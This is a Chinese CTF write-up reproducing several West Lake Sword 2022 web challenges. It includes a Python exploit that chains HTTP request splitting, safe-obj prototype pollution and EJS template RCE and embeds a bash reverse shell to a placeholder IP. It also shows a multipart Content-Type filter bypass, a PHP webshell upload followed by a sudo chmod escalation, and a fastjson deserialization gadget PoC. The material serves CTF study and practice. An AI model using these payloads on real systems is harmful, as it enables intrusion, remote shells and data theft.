目录

  1. 1. 前言
  2. 2. Node Magical Login
    1. 2.1. 主界面
    2. 2.2. 源码附件
      1. 2.2.1. main.js
      2. 2.2.2. controller.js
    3. 2.3. 分析
    4. 2.4. 思路
    5. 2.5. 操作
    6. 2.6. 其他解
  3. 3. real_ez_node
    1. 3.1. 分析
    2. 3.2. exp
  4. 4. 扭转乾坤(记录)
  5. 5. unusual php(记录)
  6. 6. easy_api(待复现)
  7. 7. real world git

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

西湖论剑2022 复现

2023/3/1 CTF线上赛
  |     |   总文章阅读量:

前言

这次比赛web题成功0解(悲),赛后看别人的wp的时候发现还是有几道题是我能做的,比赛时还是被没见过的语言框架和题目提示给唬住了,所以说以后看见不认识的语言框架还是多花点去看看,指不准就有思路了呢(笑)

参考:

https://xz.aliyun.com/t/12128

https://boogipop.com/2023/03/02/FastJson%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/#%E8%A5%BF%E6%B9%96%E8%AE%BA%E5%89%912023-easy-api

https://www.viewofthai.link/2023/02/05/%E8%A5%BF%E6%B9%96%E8%AE%BA%E5%89%912023-web-wp-%E4%B8%80/

部分附件:https://github.com/CTF-Archives/CTF_Archive_CN/releases/tag/2022-xhlj


Node Magical Login

nodejs代码审计

主界面

1

一个nodejs登录界面

源码附件

main.js

const express = require("express")
const fs = require("fs")
const cookieParser = require("cookie-parser");
const controller = require("./controller")

const app = express();
const PORT = Number(process.env.PORT) || 80
const HOST = '0.0.0.0'


app.use(express.urlencoded({extended:false}))
app.use(cookieParser())
app.use(express.json())

app.use(express.static('static'))

app.post("/login",(req,res) => {
    controller.LoginController(req,res)
})


app.get("/",(res) => {
    res.sendFile(__dirname,"static/index.html")
})


app.get("/flag1",(req,res) => {
    controller.Flag1Controller(req,res)
})

app.get("/flag2",(req,res) => {
    controller.CheckInternalController(req,res)
})

app.post("/getflag2",(req,res)=> {
    controller.CheckController(req,res)
})

app.listen(PORT,HOST,() => {
    console.log(`Server is listening on Host ${HOST} Port ${PORT}.`)
})

controller.js

const fs = require("fs");
const SECRET_COOKIE = process.env.SECRET_COOKIE || "this_is_testing_cookie"

const flag1 = fs.readFileSync("/flag1")
const flag2 = fs.readFileSync("/flag2")


function LoginController(req,res) {
    try {
        const username = req.body.username
        const password = req.body.password
        if (username !== "admin" || password !== Math.random().toString()) {
            res.status(401).type("text/html").send("Login Failed")
        } else {
            res.cookie("user",SECRET_COOKIE)
            res.redirect("/flag1")
        }
    } catch (__) {}
}

function CheckInternalController(req,res) {
    res.sendFile("check.html",{root:"static"})

}

function CheckController(req,res) {
    let checkcode = req.body.checkcode?req.body.checkcode:1234;
    console.log(req.body)
    if(checkcode.length === 16){
        try{
            checkcode = checkcode.toLowerCase()//被转成小写,但是这个处理不了数组格式
            if(checkcode !== "aGr5AtSp55dRacer"){
                res.status(403).json({"msg":"Invalid Checkcode1:" + checkcode})
            }
        }catch (__) {}
        res.status(200).type("text/html").json({"msg":"You Got Another Part Of Flag: " + flag2.toString().trim()})
    }else{
        res.status(403).type("text/html").json({"msg":"Invalid Checkcode2:" + checkcode})
    }
}

function Flag1Controller(req,res){
    try {
        if(req.cookies.user === SECRET_COOKIE){
            res.setHeader("This_Is_The_Flag1",flag1.toString().trim())
            res.setHeader("This_Is_The_Flag2",flag2.toString().trim())
            res.status(200).type("text/html").send("Login success. Welcome,admin!")
        }
        if(req.cookies.user === "admin") {
            res.setHeader("This_Is_The_Flag1", flag1.toString().trim())
            res.status(200).type("text/html").send("You Got One Part Of Flag! Try To Get Another Part of Flag!")
        }else{
            res.status(401).type("text/html").send("Unauthorized")
        }
    }catch (__) {}
}



module.exports = {
    LoginController,
    CheckInternalController,
    Flag1Controller,
    CheckController
}

分析

  • 先看获取flag的条件

    app.get("/flag1",(req,res) => {
        controller.Flag1Controller(req,res)
    })
    
    app.get("/flag2",(req,res) => {
        controller.CheckInternalController(req,res)
    })
    
    app.post("/getflag2",(req,res)=> {
        controller.CheckController(req,res)
    })

    main.js指向controller.js中的几个方法

    function LoginController(req,res) {
        try {
            const username = req.body.username
            const password = req.body.password
            if (username !== "admin" || password !== Math.random().toString()) {
                res.status(401).type("text/html").send("Login Failed")
            } else {
                res.cookie("user",SECRET_COOKIE)
                res.redirect("/flag1")
            }
        } catch (__) {}
    }
    
    ------------------------------------------------
    
    function Flag1Controller(req,res){
        try {
            if(req.cookies.user === SECRET_COOKIE){
                res.setHeader("This_Is_The_Flag1",flag1.toString().trim())
                res.setHeader("This_Is_The_Flag2",flag2.toString().trim())
                res.status(200).type("text/html").send("Login success. Welcome,admin!")
            }
            if(req.cookies.user === "admin") {
                res.setHeader("This_Is_The_Flag1", flag1.toString().trim())	//cookie相等可以输出flag1
                res.status(200).type("text/html").send("You Got One Part Of Flag! Try To Get Another Part of Flag!")
            }else{
                res.status(401).type("text/html").send("Unauthorized")
            }
        }catch (__) {}
    }

    获取flag有两种方法:

    一种是输入正确的username和password,但是密码是随机生成的

    另一种是使user的cookie相等

    function CheckInternalController(req,res) {
        res.sendFile("check.html",{root:"static"})
    
    }
    
    function CheckController(req,res) {
        let checkcode = req.body.checkcode?req.body.checkcode:1234;
        console.log(req.body)
        if(checkcode.length === 16){	//传入长度需为16
            try{
                checkcode = checkcode.toLowerCase()//被转成小写,但是这个处理不了数组格式
                if(checkcode !== "aGr5AtSp55dRacer"){
                    res.status(403).json({"msg":"Invalid Checkcode1:" + checkcode})
                }
            }catch (__) {}
            res.status(200).type("text/html").json({"msg":"You Got Another Part Of Flag: " + flag2.toString().trim()})	//输出flag2
        }else{		//长度不足16会跳转至此
            res.status(403).type("text/html").json({"msg":"Invalid Checkcode2:" + checkcode})
        }
    }

    此处需满足checkcode==aGr5AtSp55dRacer且长度为16即可获取flag2

思路

  • 在/flag1传入cookie=admin获取flag1

  • toLowerCase()此函数会将字符串转成小写形式,但是不能处理数组格式,因此传参选择传入json数组格式且重复16遍

  • 在/getflag2中使用POST请求

操作

2

可获取flag1

3

可获取flag2(记得把content-type改成json)

其他解

  • 常规数组解法:传数组时拆成16个字符

    {"checkcode":[0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15]}

  • 使try语句报错

    {"checkcode":{"length":16}}
    -------------------------------
     checkcode=1&checkcode=1&checkcode=1&checkcode=1&checkcode=1&checkcode=1&checkcode=1&checkcode=1&checkcode=1&checkcode=1&checkcode=1&checkcode=1&checkcode=1&checkcode=1&checkcode=1&checkcode=1

real_ez_node

safe-obj污染 + http拆分攻击 + ejs rce

源码,审一下

app.js

var createError = require('http-errors');
var express = require('express');
var path = require('path');
var fs = require('fs');
const lodash = require('lodash')
var cookieParser = require('cookie-parser');
var logger = require('morgan');
var session = require('express-session');
var index = require('./routes/index');
var bodyParser = require('body-parser');//解析,用req.body获取post参数
var app = express();
app.use(bodyParser.json());
app.use(bodyParser.urlencoded({extended: false}));
app.use(cookieParser());
app.use(session({
  secret : 'secret', // 对session id 相关的cookie 进行签名
  resave : true,
  saveUninitialized: false, // 是否保存未初始化的会话
  cookie : {
    maxAge : 1000 * 60 * 3, // 设置 session 的有效时间,单位毫秒
  },
}));
// view engine setup
app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'ejs');
// app.engine('ejs', function (filePath, options, callback) {    // 设置使用 ejs 模板引擎 
//   fs.readFile(filePath, (err, content) => {
//       if (err) return callback(new Error(err))
//       let compiled = lodash.template(content)    // 使用 lodash.template 创建一个预编译模板方法供后面使用
//       let rendered = compiled()

//       return callback(null, rendered)
//   })
// });
app.use(logger('dev'));
app.use(express.static(path.join(__dirname, 'public')));
app.use('/', index);
// app.use('/challenge7', challenge7);
// catch 404 and forward to error handler
app.use(function(req, res, next) {
  next(createError(404));
});

// error handler
app.use(function(err, req, res, next) {
  // set locals, only providing error in development
  res.locals.message = err.message;
  res.locals.error = req.app.get('env') === 'development' ? err : {};

  // render the error page
  res.status(err.status || 500);
  res.render('error');
});

module.exports = app;

唯一有价值的就是用ejs渲染引擎加载页面,下一个

index.js

var express = require('express');
var http = require('http');
var router = express.Router();
const safeobj = require('safe-obj');
router.get('/',(req,res)=>{
  if (req.query.q) {
    console.log('get q');
  }
  res.render('index');
})
router.post('/copy',(req,res)=>{
  res.setHeader('Content-type','text/html;charset=utf-8')
  var ip = req.connection.remoteAddress;
  console.log(ip);
  var obj = {
      msg: '',
  }
  if (!ip.includes('127.0.0.1')) {
      obj.msg="only for admin"
      res.send(JSON.stringify(obj));
      return 
  }
  let user = {};
  for (let index in req.body) {
      if(!index.includes("__proto__")){
          safeobj.expand(user, index, req.body[index])
      }
    }
  res.render('index');
})

router.get('/curl', function(req, res) {
    var q = req.query.q;
    var resp = "";
    if (q) {
        var url = 'http://localhost:3000/?q=' + q
            try {
                http.get(url,(res1)=>{
                    const { statusCode } = res1;
                    const contentType = res1.headers['content-type'];
                  
                    let error;
                    // 任何 2xx 状态码都表示成功响应,但这里只检查 200。
                    if (statusCode !== 200) {
                      error = new Error('Request Failed.\n' +
                                        `Status Code: ${statusCode}`);
                    }
                    if (error) {
                      console.error(error.message);
                      // 消费响应数据以释放内存
                      res1.resume();
                      return;
                    }
                  
                    res1.setEncoding('utf8');
                    let rawData = '';
                    res1.on('data', (chunk) => { rawData += chunk;
                    res.end('request success') });
                    res1.on('end', () => {
                      try {
                        const parsedData = JSON.parse(rawData);
                        res.end(parsedData+'');
                      } catch (e) {
                        res.end(e.message+'');
                      }
                    });
                  }).on('error', (e) => {
                    res.end(`Got error: ${e.message}`);
                  })
                res.end('ok');
            } catch (error) {
                res.end(error+'');
            }
    } else {
        res.send("search param 'q' missing!");
    }
})
module.exports = router;

分析

先看/copy路由

router.post('/copy',(req,res)=>{
  res.setHeader('Content-type','text/html;charset=utf-8')
  var ip = req.connection.remoteAddress;
  console.log(ip);
  var obj = {
      msg: '',
  }
  if (!ip.includes('127.0.0.1')) {
      obj.msg="only for admin"
      res.send(JSON.stringify(obj));
      return 
  }
  let user = {};
  for (let index in req.body) {
      if(!index.includes("__proto__")){
          safeobj.expand(user, index, req.body[index])
      }
    }
  res.render('index');
})

这个路由只允许ip为127.0.0.1进行操作

一眼看到safe-obj原型链污染,过滤了__proto__,可以用constructor.prototype绕过

接下来看/curl路由

router.get('/curl', function(req, res) {
    var q = req.query.q;
    var resp = "";
    if (q) {
        var url = 'http://localhost:3000/?q=' + q
            try {
                http.get(url,(res1)=>{
                    const { statusCode } = res1;
                    const contentType = res1.headers['content-type'];
                  
                    let error;
                    // 任何 2xx 状态码都表示成功响应,但这里只检查 200。
                    if (statusCode !== 200) {
                      error = new Error('Request Failed.\n' +
                                        `Status Code: ${statusCode}`);
                    }
                    if (error) {
                      console.error(error.message);
                      // 消费响应数据以释放内存
                      res1.resume();
                      return;
                    }
                  
                    res1.setEncoding('utf8');
                    let rawData = '';
                    res1.on('data', (chunk) => { rawData += chunk;
                    res.end('request success') });
                    res1.on('end', () => {
                      try {
                        const parsedData = JSON.parse(rawData);
                        res.end(parsedData+'');
                      } catch (e) {
                        res.end(e.message+'');
                      }
                    });
                  }).on('error', (e) => {
                    res.end(`Got error: ${e.message}`);
                  })
                res.end('ok');
            } catch (error) {
                res.end(error+'');
            }
    } else {
        res.send("search param 'q' missing!");
    }
})

http.gethttp://localhost:3000传参数q的操作

那么应该是要http请求拆分进行SSRF

综合一下就是利用http请求拆分进行SSRF打safe-obj原型链污染

剩下的就是找一个能利用原型链污染读文件或者RCE的地方,源码翻了翻没有,猜测问题出在依赖上

看一眼package.json

{
  "name": "hello-world",
  "version": "0.0.0",
  "private": true,
  "scripts": {
    "start": "node ./bin/www"
  },
  "dependencies": {
    "cookie-parser": "~1.4.4",
    "debug": "~2.6.9",
    "ejs": "^3.0.1",
    "express": "~4.16.1",
    "express-session": "^1.17.3",
    "http-errors": "~1.6.3",
    "jade": "^1.11.0",
    "jsonwebtoken": "^8.5.1",
    "lodash": "^4.2.1",
    "md5": "^2.3.0",
    "mongodb": "^4.10.0",
    "morgan": "~1.9.1",
    "mysql": "^2.18.1",
    "node-serialize": "^0.0.4",
    "pug": "2.0.0-beta11",
    "safe-obj": "^1.0.2"
  }
}

发现ejs版本3.0.1,而app.js中设置了渲染引擎为ejs

那么就有ejs rce可以打

exp

# coding=utf-8
import requests
import urllib
from urllib import parse

txt = '''1 HTTP/1.1
Host: 127.0.0.1:3000

POST /copy HTTP/1.1
Host: 127.0.0.1:3000
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.127 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: user=admin
Connection: close
Content-Type: application/json
Content-Length: 192

{"constructor.prototype.outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('/bin/bash -c \\"/bin/bash -i >&/dev/tcp/xxx.xxx.xxx.xxx/57746 0>&1\\"');var __tmp2"}

GET /aaa'''
txt = txt.replace(' ','\u0120').replace('\n','\u010d\u010a').replace('{','\u017b').replace('}','\u017d').replace('"','\u0122').replace('\'','\u0127').replace('>','\u013e').replace('\\','\u015c')


#URL编码
new_txt = urllib.parse.quote(txt)
print(new_txt)

把生成的payload传到/curl?q=即可弹shell


扭转乾坤(记录)

原文链接:https://xz.aliyun.com/t/12128

这题附件给的太奇怪了,zip里面一个pdf

image-20240717005026544

不过还是看提示

在实际产品场景中常见存在多种中间件的情况,这时如果存在某种拦截,可以利用框架或者中间件对于RFC标准中实现差异进行绕过。注意查看80端口服务

直接上传的话,提示

Sorry,Apache maybe refuse header equals Content-Type: multipart/form-data;.

于是要在 Content-Type: multipart/form-data 上做文章

参考 https://www.anquanke.com/post/id/241265

利用 RFC 差异来绕过,加个引号就过了

POST /ctf/hello-servlet HTTP/1.1
Host: 1.14.65.100
Content-Length: 3246
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://1.14.65.100
Content-Type: multipart/"form-data"; boundary=----WebKitFormBoundary3oAve6BcRBg213uo
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://1.14.65.100/ctf
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundary3oAve6BcRBg213uo
Content-Disposition: form-data; name="uploadfile"; filename="bypass.jsp"
Content-Type: application/octet-stream

miaotony
------WebKitFormBoundary3oAve6BcRBg213uo--

赛后又试了试,貌似只需要不出现完整的 multipart/form-data 就能过,但是必须有 multipart/


unusual php(记录)

原文链接:https://xz.aliyun.com/t/12128

<?php
if($_GET["a"]=="upload"){
    move_uploaded_file($_FILES['file']["tmp_name"], "upload/".$_FILES['file']["name"]);
}elseif ($_GET["a"]=="read") {
    echo file_get_contents($_GET["file"]);
}elseif ($_GET["a"]=="version") {
    phpinfo();
}

/index.php 发现是一团乱码,盲猜用了啥解析引擎之类的东西

image-20240717005159067

image-20240717005229632

插件目录 /usr/local/lib/php/extensions/no-debug-non-zts-20190902

/usr/local/lib/php.ini

image-20240717005303576

得到扩展路径

curl "http://80.endpoint-e3b2218dc1d446008a7cacc77c3d9bee.ins.cloud.dasctf.com:81/index.php?a=read&file=/usr/local/lib/php/extensions/no-debug-non-zts-20190902/zend_test.so" > zend_test.so

读回来然后把无关的去掉,再丢进 ida

image-20240717005353557

看起来解析的时候用 abcsdfadfjiweur 作为 key 然后 RC4 解密然后当成 php 去执行

把拿下来的 index.php 看看

image-20240717005445044

于是我们传个 RC4 加密后的一句话马上去就好

image-20240717005506357

base64 decode (或者 output format 选 latin1 然后 save 到文件也行)

然后整个表单 multipart/form-data 传上去

<form action="/?a=upload" method="post" enctype="multipart/form-data">
    <input type="file" name="file">
    <input type="submit" value="Upload">
</form>

然后访问

/upload/miaotony.php?miaotony=system('ls -al /');

然后 /etc/sudoers 不可读,但是有个 sudoers.bak

image-20240717005921934

image-20240717005928501

当前的 www-data 用户可以免密执行 chmod,那直接

sudo chmod 777 /flag
cat /flag

easy_api(待复现)

fastjson反序列化

poc:

import com.alibaba.fastjson.JSONObject;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import org.springframework.aop.target.HotSwappableTargetSource;
 
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;
 
public class fj_gadget {
    public static void main(String[] args) throws Exception {
        TemplatesImpl templatesimpl = new TemplatesImpl();
 
        byte[] bytecodes = Files.readAllBytes(Paths.get("D:\\CTF\\Security_Learning\\ROME\\target\\classes\\shell.class"));
 
        setValue(templatesimpl,"_name","aaa");
        setValue(templatesimpl,"_bytecodes",new byte[][] {bytecodes});
        setValue(templatesimpl, "_tfactory", new TransformerFactoryImpl());
 
        JSONObject jo = new JSONObject();
        jo.put("1",templatesimpl);
 
        HotSwappableTargetSource h1 = new HotSwappableTargetSource(jo);
//        HotSwappableTargetSource h2 = new HotSwappableTargetSource(new XString("xxx"));
        HotSwappableTargetSource h2 = new HotSwappableTargetSource(new Object());
 
        HashMap<Object,Object> hashMap = new HashMap<>();
        hashMap.put(h1,h1);
        hashMap.put(h2,h2);
 
        Class clazz=h2.getClass();
        Field transformerdeclaredField = clazz.getDeclaredField("target");
        transformerdeclaredField.setAccessible(true);
        transformerdeclaredField.set(h2,new XString("xxx"));
 
        System.out.println(serial(hashMap));
        String payload = "...";
        //        deserial(payload);
 
    }
 
    public static String serial(Object o) throws IOException {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(o);
        oos.close();
 
        String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
        return base64String;
 
    }
 
    public static void deserial(String data) throws Exception {
        byte[] base64decodedBytes = Base64.getDecoder().decode(data);
        ByteArrayInputStream bais = new ByteArrayInputStream(base64decodedBytes);
        CustomObjectInputStream ois = new CustomObjectInputStream(bais);
        ois.readObject();
        ois.close();
    }
 
    public static void setValue(Object obj, String name, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

real world git